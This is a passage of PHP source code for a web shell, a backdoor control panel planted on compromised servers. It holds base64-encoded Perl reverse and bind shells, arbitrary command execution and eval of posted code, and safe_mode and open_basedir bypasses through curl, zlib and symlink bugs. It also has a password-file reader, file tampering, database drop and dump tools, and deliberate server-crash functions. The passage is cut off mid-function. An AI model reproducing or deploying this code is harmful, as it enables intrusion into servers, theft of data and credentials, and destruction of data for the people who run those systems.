537IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4
538ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow==";
539$opbc=fopen("bcc.pl","w");
540fwrite($opbc,base64_decode($bcperl));
541fclose($opbc);
542system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
543}
544function wbp($wb){
545$wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj
546cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j
547a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu
548ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs
549IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl
550IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO
551VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT
552VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g";
553$opwb=fopen("wbp.pl","w");
554fwrite($opwb,base64_decode($wbp));
555fclose($opwb);
556echo getcwd();
557system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
558}
559function lbp($wb){
560$lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv
561YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg
562U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF
563VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO
564QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw
565dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7
566b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o
567Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g";
568$oplb=fopen("lbp.pl","w");
569fwrite($oplb,base64_decode($lbp));
570fclose($oplb);
571system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
572}
573
574if($_REQUEST['portbw']){
575wbp($_REQUEST['portbw']);
576
577}if($_REQUEST['portbl']){
578lbp($_REQUEST['portbl']);
579}
580if($_REQUEST['ipcb'] && $_REQUEST['portbc']){
581bcn($_REQUEST['ipcb'],$_REQUEST['portbc']);
582
583}
584
585if($_REQUEST['do']=="bc"){
586echo $head.$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Back Connect >>>>>><br>Ip Address : <input name=ipcb value=".$_SERVER['REMOTE_ADDR'] ."> Port : <input name=portbc value=5555><br><input type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Windows Bind Port >>>>>><br>Port : <input name=portbw value=5555><br><input type=submit value=Connect></form>".$formp."<p align='center'>Usage : Run Netcat In Your Machin And Execute This Command( Disable Firewall !!! )<br><hr><p align='center'><<<<<< Linux Bind Port >>>>>><br>Port : <input name=portbl value=5555><br><input type=submit value=Connect></form>".$end;exit;
587
588}
589function copyf($file1,$file2,$filename){
590global $slash;
591$fpc = fopen($file1, "rb");
592$source = '';
593while (!feof($fpc)) {
594$source .= fread($fpc, 8192);
595}
596fclose($fpc);
597$opt = fopen($file2.$slash.$filename, "w");
598fwrite($opt, $source);
599fclose($opt);
600}
601if ($_REQUEST['copyname'] && $_REQUEST['cpyto']){
602if(is_writable($_REQUEST['cpyto'])){
603echo $_REQUEST['address'];
604copyf($_REQUEST['address'].$slash.$_REQUEST['copyname'],$_REQUEST['cpyto'],$_REQUEST['copyname']);
605}else{alert("Permission Denied !");}}
606if($_REQUEST['cfilename']){
607
608echo $head.$formp.$nowaddress.'<p align="center"><b>Create File</b><br><textarea rows="19" name="nf4cs" cols="87"></textarea><br><input value="'.$_REQUEST['cfilename'].'" name=nf4c size=50><br><input type=submit value=" Create "></form>'.$end;exit;
609}
610
611if($_REQUEST['nf4c'] && $_REQUEST['nf4cs']){
612if($ofile4c=fopen($_REQUEST['nf4c'],"w")){
613fwrite($ofile4c,$_REQUEST['nf4cs']);
614fclose($ofile4c);
615alert("File Saved !");}else{alert("Permission Denied !");}}
616
617function sqlclienT(){
618global $t,$errorbox,$et,$hcwd;
619if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){
620$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];
621$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB'];
622$_SESSION[server]=$_REQUEST['serveR'];$_SESSION[type]=$_REQUEST['typE'];$_SESSION[pass]=$_REQUEST['pasS'];$_SESSION[user]=$_REQUEST['useR'];
623
624}
625
626if (isset ($_GET[select_db])){
627 $getdb=$_GET[select_db];
628 $_SESSION[db]=$getdb;
629 $query="SHOW TABLES";
630 $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
631}
632elseif (isset ($_GET[select_tbl])){
633 $tbl=$_GET[select_tbl];
634 $_SESSION[tbl]=$tbl;
635 $query="SELECT * FROM `$tbl`";
636 $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
637}
638elseif (isset ($_GET[drop_db])){
639 $getdb=$_GET[drop_db];
640 $_SESSION[db]=$getdb;
641 $query="DROP DATABASE `$getdb`";
642 querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'',$query);
643 $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'','SHOW DATABASES');
644}
645elseif (isset ($_GET[drop_tbl])){
646 $getbl=$_GET[drop_tbl];
647 $query="DROP TABLE `$getbl`";
648 querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
649 $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],'SHOW TABLES');
650}
651elseif (isset ($_GET[drop_row])){
652 $getrow=$_GET[drop_row];
653 $getclm=$_GET[clm];
654 $query="DELETE FROM `$_SESSION[tbl]` WHERE $getclm='$getrow'";
655 $tbl=$_SESSION[tbl];
656 querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
657 $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],"SELECT * FROM `$tbl`");
658}
659else
660 $res=querY($type,$server,$user,$pass,$db,$query);
661
662if($res){
663$res=htmlspecialchars($res);
664$row=array ();
665$title=explode('[+][+][+]',$res);
666$trow=explode('[-][-][-]',$title[1]);
667$row=explode('|+|+|+|+|+|',$title[0]);
668$data=array();
669$field=$trow[count($trow)-2];
670if (strstr($trow[0],'Database')!='')
671 $obj='db';
672elseif (substr($trow[0],0,6)=='Tables')
673 $obj='tbl';
674else
675 $obj='row';
676$i=0;
677foreach ($row as $a){
678if($a!='')
679$data[$i++]=explode('|-|-|-|-|-|',$a);
680}
681
682echo "<table border=1 bordercolor='#C6C6C6' cellpadding='2' bgcolor='EAEAEA' width='100%' style='border-collapse: collapse'><tr>";
683foreach ($trow as $ti)
684echo "<td bgcolor='F2F2F2'>$ti</td>";
685echo "</tr>";
686$j=0;
687while ($data[$j]){
688 echo "<tr>";
689 foreach ($data[$j++] as $dr){
690 echo "<td>";
691 if($obj!='row') echo "<a href='$_SERVER[PHP_SELF]?do=db&select_$obj=$dr'>";
692 echo $dr;
693 if($obj!='row') echo "</a>";
694 echo "</td>";
695 }
696 echo "<td><a href='$_SERVER[PHP_SELF]?do=db&drop_$obj=$dr";
697 if($obj=='row')
698 echo "&clm=$field";
699 echo "'>Drop</a></td></tr>";
700}
701echo "</table><br>";
702
703}
704
705
706
707
708
709if(empty($_REQUEST['typE']))$_REQUEST['typE']='';
710echo "<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'><table border='1' width='400' style='border-collapse: collapse' id='table1' bordercolor='#C6C6C6' cellpadding='2'><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Connect to Database</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Type:</font></td><td width='250' bgcolor='#EAEAEA'><select name=typE><option valut=MySQL onClick='document.client.serveR.disabled = false;' ";
711if ($_REQUEST['typE']=='MySQL')echo 'selected';
712echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' ";
713if ($_REQUEST['typE']=='MSSQL')echo 'selected';
714echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' ";
715if ($_REQUEST['typE']=='Oracle')echo 'selected';
716echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";
717if ($_REQUEST['typE']=='PostgreSQL')echo 'selected';
718echo ">PostgreSQL</option><option valut=DB2 onClick='document.client.serveR.disabled = false;' ";
719if ($_REQUEST['typE']=='DB2')echo 'selected';
720echo ">IBM DB2</option></select></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Server Address:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
721if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost';
722echo "' name=serveR size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Username:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text name=useR value='";
723if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root';
724echo "' size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Password:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
725if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123';
726echo "' name=pasS size=35></td></tr><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Submit a Query</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Name:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
727if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);
728echo "' name=dB size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Query:</font></td><td width='250' bgcolor='#EAEAEA'><textarea name=querY rows=5 cols=27>";
729if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES';
730echo "</textarea></td></tr><tr><td width='400' colspan='2' bgcolor='#EAEAEA'>$hcwd<input class=buttons type=submit value='Submit' style='float: right'></td></tr></table></form>$et</center>";
731}
732
733
734function querY($type,$host,$user,$pass,$db='',$query){
735$res='';
736switch($type){
737case 'MySQL':
738if(!function_exists('mysql_connect'))return 0;
739$link=mysql_connect($host,$user,$pass);
740if($link){
741if(!empty($db))mysql_select_db($db,$link);
742$result=mysql_query($query,$link);
743if ($result!=1){
744while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
745$res.='[+][+][+]';
746for($i=0;$i<mysql_num_fields($result);$i++)
747$res.=mysql_field_name($result,$i).'[-][-][-]';
748}
749mysql_close($link);
750return $res;
751}
752break;
753case 'MSSQL':
754if(!function_exists('mssql_connect'))return 0;
755$link=mssql_connect($host,$user,$pass);
756if($link){
757if(!empty($db))mssql_select_db($db,$link);
758$result=mssql_query($query,$link);
759while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
760$res.='[+][+][+]';
761for($i=0;$i<mssql_num_fields($result);$i++)
762$res.=mssql_field_name($result,$i).'[-][-][-]';
763mssql_close($link);
764return $res;
765}
766break;
767case 'Oracle':
768if(!function_exists('ocilogon'))return 0;
769$link=ocilogon($user,$pass,$db);
770if($link){
771$stm=ociparse($link,$query);
772ociexecute($stm,OCI_DEFAULT);
773while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
774$res.='[+][+][+]';
775for($i=0;$i<oci_num_fields($stm);$i++)
776$res.=oci_field_name($stm,$i).'[-][-][-]';
777return $res;
778}
779break;
780case 'PostgreSQL':
781if(!function_exists('pg_connect'))return 0;
782$link=pg_connect("host=$host dbname=$db user=$user password=$pass");
783if($link){
784$result=pg_query($link,$query);
785while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
786$res.='[+][+][+]';
787for($i=0;$i<pg_num_fields($result);$i++)
788$res.=pg_field_name($result,$i).'[-][-][-]';
789pg_close($link);
790return $res;
791}
792break;
793case 'DB2':
794if(!function_exists('db2_connect'))return 0;
795$link=db2_connect($db,$user,$pass);
796if($link){
797$result=db2_exec($link,$query);
798while($data=db2_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
799$res.='[+][+][+]';
800for($i=0;$i<db2_num_fields($result);$i++)
801$res.=db2_field_name($result,$i).'[-][-][-]';
802db2_close($link);
803return $res;
804}
805break;
806}
807return 0;
808}
809function bywsym($file){
810if(!function_exists('symlink')){echo "Function Symlink Not Exist";}
811
812if(!is_writable("."))
813 die("not writable directory");
814$level=0;
815for($as=0;$as<$fakedep;$as++){
816 if(!file_exists($fakedir))
817 mkdir($fakedir);
818 chdir($fakedir);
819}
820while(1<$as--) chdir("..");
821$hardstyle = explode("/", $file);
822for($a=0;$a<count($hardstyle);$a++){
823 if(!empty($hardstyle[$a])){
824 if(!file_exists($hardstyle[$a]))
825 mkdir($hardstyle[$a]);
826 chdir($hardstyle[$a]);
827 $as++;
828}}
829$as++;
830while($as--)
831 chdir("..");
832@rmdir("fakesymlink");
833@unlink("fakesymlink");
834@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
835while(1)
836 if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
837 else $num++;
838@unlink("fakesymlink");
839mkdir("fakesymlink");
840}
841function bypcu($file){
842$level=0;
843
844if(!file_exists("file:"))
845 mkdir("file:");
846chdir("file:");
847$level++;
848
849$hardstyle = explode("/", $file);
850
851for($a=0;$a<count($hardstyle);$a++){
852 if(!empty($hardstyle[$a])){
853 if(!file_exists($hardstyle[$a]))
854 mkdir($hardstyle[$a]);
855 chdir($hardstyle[$a]);
856 $level++;
857 }
858}
859
860while($level--) chdir("..");
861
862$ch = curl_init();
863
864curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);
865
866echo '<FONT COLOR="RED"> <textarea rows="40" cols="120">';
867
868if(FALSE==curl_exec($ch))
869 die('>Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');
870
871echo ' </textarea> </FONT>';
872
873curl_close($ch);
874}
875if ($_REQUEST['bypcu']){
876bypcu($_REQUEST['bypcu']);
877}
878if($_REQUEST['do']=="bypasscmd"){
879if($_POST['bycw']){
880echo $_POST['bycw'];
881$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll');
882 $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['bycw']."");
883 $stdout = $exec->StdOut();
884 $stcom = $stdout->ReadAll();}
885
886echo $head.'<p align="center"><textarea rows="13" name="showbsd" cols="77">';if($_POST['byws']){passthru("\\".$_POST['byws']);} echo $stcom.'</textarea><hr><center>Bypass Safe_Mode And Disable_Functions In Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'<input type=hidden value="bypasscmd" name=do>Command </font></td><td width="750"><input name=bycw size=50><input type=submit value ="eXecute"></form></td></tr></table>Bypass Safe_Mode Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Command </font></td><td width="750"><input name=byws size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypasscmd"></form></td></tr></table>'.$end;exit;;
887}
888if($_REQUEST['do']=="bypassdir"){
889if($_POST['byoc']){
890if(copy("compress.zlib://".$_POST['byoc'], getcwd()."/"."peji.txt")){
891$bopens="Bypass Succesfull Plz Read File Peji.txt In This Folder";
892}else{$bopens="Can Not Bypass This";}
893}
894if($_POST['byfc']){
895curl_init("file:///".$_POST['byfc']."\x00/../../../../../../../../../../../../".__FILE__);
896$debfc=curl_exec($ch);
897}
898if($_POST['byetc']){
899for($bye=0;$bye<40000;$bye++){
900$sbep =$sbep. posix_getpwuid($bye);
901}}
902if($_POST['byfc9']){
903echo "not sucsfull";
904}
905if($_REQUEST['bysyml']){
906$file=$_REQUEST['bysyml'];
907bywsym($file);
908}
909echo $head.'<p align="center"><textarea rows="13" name="showbsd" cols="77">';if($_POST['byws']){passthru("\\".$_POST['byws']);}if(isset($sbep)){for($fbe=0;$fbe<count($sbep);$fbe++){echo $sbep[$fbe];}} if(isset($debfc)){} echo $bopens.'</textarea><hr><center>Bypass Safe_Mode And Open_basedir With Bug Copy(Zlib) Worked In 4.4.2 .. 5.1.2<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right">'.$formp.'<input type=hidden value="bypassdir" name=do><font face="Tahoma" style="font-size: 10pt; font-weight:700">Address File </font></td><td width="750"><input name=byoc size=50 ><input type=submit value ="read"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.4.2 and 5.1.4<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Address File </font></td><td width="750"><input name=byfc size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.X ... 5.2.9<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Address File </font></td><td width="750"><input name=byfc9 size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass /Etc/Passwd<br>'.$formp.'<input type=submit value ="Read Passwd"><input type=hidden name=byetc value="lol"><input type=hidden name=do value="bypassdir"></form><hr>Bypass With ini_restore'.$formp.'<input type=submit value ="Read File"><input name=rfili value="Pejijon" type=hidden><input type=hidden name=do value="bypassdir"></form><hr>Bypass With Symlink Worked In 5.x.x 5.2.11 With Bug Symlink<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'</font></td><td width="750"><input name=bysyml size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"><input name=rfili value="Pejijon" type=hidden></form></td></tr></table><hr>'.$formp.'Bypass Safe And Open_basedir With Bug Curl Worked In 4.x.x ... 5.2.9<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'</font></td><td width="750"><input name=bypcu size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"></form></td></tr></table>'.$end;exit;;
910
911
912
913
914}
915function printdrive(){
916global $slash;
917foreach (range("A","Z") as $tempdrive) {
918if (is_dir($tempdrive.":".$slash)){
919$adri=$tempdrive.":".$slash;
920$drivea=$drivea.'<a href="?address='.$adri.'"><font size=1>'.$tempdrive.':'.$slash.' </a></font>';
921}
922}
923return $drivea;
924}
925if($_POST['nameren'] && $_POST['addressren']){
926if(is_writable($_REQUEST['addressren'])){
927
928rename($_POST['addressren'],$_POST['nameren']);alert("Rename Successful !");
929}else{alert("Permission Denied !");}
930}
931if($_GET['do']=="delete"){
932
933if ($_GET['type']=="dir"){
934if(is_writable($_REQUEST['address'])){
935$dir=$_GET['address'].$_GET['filename'];
936deleteDirectory($dir);
937alert("Deleted Successful !");
938}else{alert("Permission Denied !");}
939}elseif($_GET['type']=="file"){
940if(is_writable($_GET['address'].$_GET['filename'])){
941unlink($_GET['address'].$_GET['filename']);alert("Deleted Successful !");
942}else{alert("Permission Denied !");}
943}
944}
945if($_POST['fedit'] && $_POST['namefe']){
946if(is_writable($_REQUEST['address'])){
947
948
949$opensave=fopen($_POST['address'].$slash.$_POST['namefe'],"w");
950fwrite($opensave,html_entity_decode($_POST['fedit']));
951fclose($opensave);alert("File Saved Successful !");
952}else{alert("Permission Denied !");}
953}
954if ($_POST['evalsource']){
955
956eval($_POST['evalsource']);
957}
958if($_GET['do']=="eval"){
959echo $head.$formp.$nowaddress.'<p align="center"><textarea rows="19" name="evalsource" cols="87"></textarea><br><input type=submit value=" eXecute "></form></p>'.$end;exit;
960}
961if($_GET['do']=="info"){
962
963if(ini_get('register_globals')){
964$registerg="Enable";
965}else{
966$registerg="disable";
967}
968if(extension_loaded('curl')){
969$curls="Enable";
970}else{
971$curls="disable";
972}
973if(@function_exists('mysql_connect')){
974$db_on = "Mysql : On";
975};
976if(@function_exists('mssql_connect')){
977$db_on = "Mssql : On";
978};
979if(@function_exists('pg_connect')){
980$db_on = "PostgreSQL : On";
981};if(@function_exists('ocilogon')){
982$db_on = "Oracle : On";
983};
984
985echo $head."<font face='Tahoma' size='2'>Operating System : ".php_uname()."<br>Server Name : ".$_SERVER['HTTP_HOST']."<br>Disable_Functions : ".$disablef."<br>Safe_Mode : ".$safe_modes."<br>Openbase_dir : ".ini_get('openbase_dir')."<br>Php Version : ".phpversion()."<br>Free Space : ".sizee(disk_free_space("/"))."<br>Total Space : ".sizee(disk_total_space("/"))."<br>Register_Globals : ".$registerg."<br>Curl : ".$curls."<br>Database ".$db_on."<br>Server Name : ".$_SERVER['HTTP_HOST']."<br>Admin Server : ".$_SERVER['SERVER_ADMIN'].$end;
986exit;
987}
988if ($_GET['do']=="cmd"){
989echo $head.'
990<form method=get action="'.$me.'">
991<p align="center">
992<textarea rows="19" name="S1" cols="87">';
993if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){
994echo $_GET['execmethod']($_GET['command']);}
995if (strlen($_POST['command'])>1 && $_POST['execmethod']!="popen"){
996echo $_POST['execmethod']($_POST['command']);}
997
998if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){
999popen($_GET['command'],"r");}
1000
1001echo'</textarea></p><p align="center">
1002<input type=hidden name="do" size="50" value="cmd"> <input type="text" name="command" size="50"><select name=execmethod>
1003 <option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option><option value="popen">popen</option>
1004</select><input type="submit" value="eXecute">
1005</p></form>'.$end;exit;}
1006if ($_GET['do']=="symlink"){
1007echo $head.'
1008<form method=post action="'.$me.'">
1009<p align="center">
1010SymLink With PHP<br><input name=ad1syp size=50> TO <input value="'.getcwd().$slash."symlink.txt".'" name=ad2syp size=50><br><input type=submit value=SymLink!><hr><p align="center"></form>
1011<form method=post action="'.$me.'"><p align="center">
1012
1013SymLink With OS : <br><input name=ad1syc size=50> TO <input value="'.getcwd().$slash."symlink.txt".'" name=ad2syc size=50><br><input type=submit value=SymLink!>
1014</p></form>'.$end;exit;}
1015if ($_POST['ad1syp'] && $_POST['ad2syp']){
1016if (symlink($_POST['ad1syp'],$_POST['ad2syp'])){
1017alert("Symlink Worked !");
1018}else{
1019alert("Symlink Not Worked !");
1020}}
1021if ($_POST['ad1syc'] && $_POST['ad2syc']){
1022if (system('ls -s '.$_POST['ad1syc']." ".$_POST['ad2syc'])){
1023alert("Symlink Worked !");
1024}else{alert("Symlink Not Worked !");}
1025}
1026if ($_GET['do']=="d0slocal"){
1027echo $head.'
1028<p align="center">If You Click This Link This Server Crashed.<br>This Worked In Php 5.3.x : <a href="?dosthisserver=1" target="_blank"><font size=4>Dos This Server I Am Sure </font></a><br>This Worked In Php 4.x.x And 5.2.9 : <a href="?dosthisserver=2" target="_blank"><font size=4>Dos This Server I Am Sure </a>'.$end;exit;}
1029if ($_GET['dosthisserver']=="1"){
1030function dosserver(){
1031$junk=str_repeat("99999999999999999999999999999999999999999999999999",99999);
1032for($i=0;$i<2;){
1033$buff=bcpow($junk, '3', 2);
1034$buff=null;
1035}
1036}
1037dosserver();
1038}
1039if ($_GET['dosthisserver']=="2"){
1040function cx(){cx();}
1041 cx();
1042}
1043if ($_GET['do']=="convert"){
1044$hash=null;
1045if ($_GET['stringtoh'] && $_GET['hashtoh']=='md5'){
1046$hash=md5($_GET['stringtoh']);
1047}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='sh1'){
1048$hash=sha1($_GET['stringtoh']);
1049}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='crc32'){
1050$hash=crc32($_GET['stringtoh']);
1051}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='b64e'){
1052$hash=base64_encode($_GET['stringtoh']);
1053}elseif ($_GET['stringtoh'] && $_GET['hashtoh']=='b64d'){
1054$hash=base64_decode($_GET['stringtoh']);
1055}
1056echo $head.'
1057<form method=get action="'.$me.'">
1058<p align="center">Convert<br><input type=hidden name=do value=convert>
1059<input name=stringtoh size=58><select name=hashtoh>
1060<option value="md5">MD5</option>
1061<option value="crc32">CRC32</option>
1062<option value="sha1">SHA1</option>
1063<option value="b64e">Base64 Encode!</option>
1064<option value="b64d">Base64 Decode!</option>
1065<br><textarea cols=60 rows=18>'.$hash.'</textarea><br><input type=submit value="Convert">
1066
1067</p></form>'.$end;exit;}
1068if ($_GET['do']=="dump"){
1069echo $head.'<p align="center">';
1070echo '<table border=1 width=400 style="border-collapse: collapse" bordercolor=#C6C6C6 cellpadding=2><tr><td width=400 colspan=2 bgcolor=#F2F2F2><p align=center><b><font face=Arial size=2 color=#433934>Backup Database</font></b></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>DB Type:</font></td><td width=250 bgcolor=#EAEAEA><form method=post action="'.$me.'"><select name=method><option value="gzip">Gzip</option><option value="sql">Sql</option> </select></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Server:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=server size=35></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Username:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=username size=35></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Password:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=password></td></tr><tr><td width=150 bgcolor=#EAEAEA><font face=Arial size=2>Data Base Name:</font></td><td width=250 bgcolor=#EAEAEA><input type=text name=dbname></td></tr><tr><td width=400 colspan=2 bgcolor=#EAEAEA><center><input type=submit value=" Dump! " ></td></tr></table></form></center></table>'.$end;exit;}
1071if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
1072$date = date("Y-m-d");
1073$dbserver = $_POST['server'];
1074$dbuser = $_POST['username'];
1075$dbpass = $_POST['password'];
1076$dbname = $_POST['dbname'];
1077$file = "Dump-$dbname-$date";
1078$method = $_POST['method'];
1079if ($method=='sql'){
1080$file="Dump-$dbname-$date.sql";
1081$fp=fopen($file,"w");
1082}else{
1083$file="Dump-$dbname-$date.sql.gz";
1084$fp = gzopen($file,"w");
1085}
1086function write($data) {
1087global $fp;
1088if ($_POST['method']=='sql'){
1089fwrite($fp,$data);
1090}else{
1091gzwrite($fp, $data);
1092}}
1093mysql_connect ($dbserver, $dbuser, $dbpass);
1094mysql_select_db($dbname);
1095$tables = mysql_query ("SHOW TABLES");
1096while ($i = mysql_fetch_array($tables)) {
1097 $i = $i['Tables_in_'.$dbname];
1098 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
1099 write($create['Create Table'].";\n\n");
1100 $sql = mysql_query ("SELECT * FROM ".$i);
1101 if (mysql_num_rows($sql)) {
1102 while ($row = mysql_fetch_row($sql)) {
1103 foreach ($row as $j => $k) {
1104 $row[$j] = "'".mysql_escape_string($k)."'";
1105 }
1106 write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
1107 }
1108 }
1109}
1110if ($method=='sql'){
1111fclose ($fp);
1112}else{
1113gzclose($fp);}
